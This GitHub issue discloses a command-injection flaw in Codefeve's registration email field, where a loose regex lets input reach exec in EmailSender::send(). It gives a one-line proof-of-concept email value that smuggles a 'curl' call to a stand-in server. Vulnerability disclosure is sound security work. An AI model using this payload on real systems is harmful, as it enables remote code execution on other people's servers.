Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The Codefeve before 2023.2.7-b1c2e7f has a Remote Command Execute Vulnerability #140

Closed
youyou-pm10 opened this issue Feb 10, 2023 · 1 comment

Comments

@youyou-pm10
Copy link

List of Vulnerable path

Vulnerable path /application/controllers/api/user.php
Vulnerable path /application/libraries/service/Network/Request.php

The process of code audit

The $email is from Request::parse().
controller0.png
Lines 44-56 of the "Request.php" show us that we can input any data.
post.png
Lines 294-295 of the "user.php" use a vulnerable regular expression because there is no backslash in front of the dot,the dot can match anything.
image.png
Then,the email income the EmailSender::send()
image.png
Let us check the function.
image.png
email3.png
We can exploit function "exec" to Remote Code Execute.

Vulnerability exploitation process:

Register and login.
exp1.png
Input the POC.
exp2.png
burp.png
exp3.png
We can check 'result.txt' and decode it.
result.png

POC code:

youyou@qq.com'xx|curl test.server.com;xx'xx

Your exp should be in test.server.com.We can execute any remote command.

@cubicwork
Copy link
Contributor

cubicwork commented Feb 10, 2023

@youyou-pm10 您反馈的问题已经收到,我们会在下次更新时修复此问题。
thanks for your response, this issue will be fixed on next update.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants